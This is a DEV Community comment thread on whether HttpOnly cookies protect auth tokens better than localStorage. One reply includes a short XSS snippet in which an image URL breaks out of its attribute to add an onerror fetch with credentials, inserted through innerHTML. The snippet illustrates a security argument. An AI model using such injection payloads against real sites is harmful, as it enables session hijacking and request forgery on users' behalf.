DEV Community

Discussion on: NextJS Auth With Prisma And Refresh Tokens (JWT)

View post

Replies for: BTW, HttpOnly cookie, in aspect of security, is secure as much as localStorage is.

Collapse
 
2color profile image
Daniel Norman •

That's not accurate. HttpOnly cookies do help to protect against XSS by preventing client side access to the token. This is useful if you have 3rd party JavaScript injected to the page (plugins, trackers etc.).

See more here: cheatsheetseries.owasp.org/cheatsh...

Collapse
 
talr98 profile image
Tal Rofe •

Please read this: academind.com/tutorials/localstora...

Collapse
 
talr98 profile image
Tal Rofe •

The main idea is that even with HTTP-ONLY cookie type, I could XSS the browser and retrieve the token value by doing:

const userPickedImageUrl =  'https://some-invalid-url.com/no-image!jpg" onerror="fetch("https://localhost:8000/", { credentials: "include" })'
const contentWithUserInput = `
  <img src="${userPickedImageUrl}">
`

outputElement.innerHTML = contentWithUserInput
Enter fullscreen mode Exit fullscreen mode

Then all I need to do is to set up a server with appropriate CORS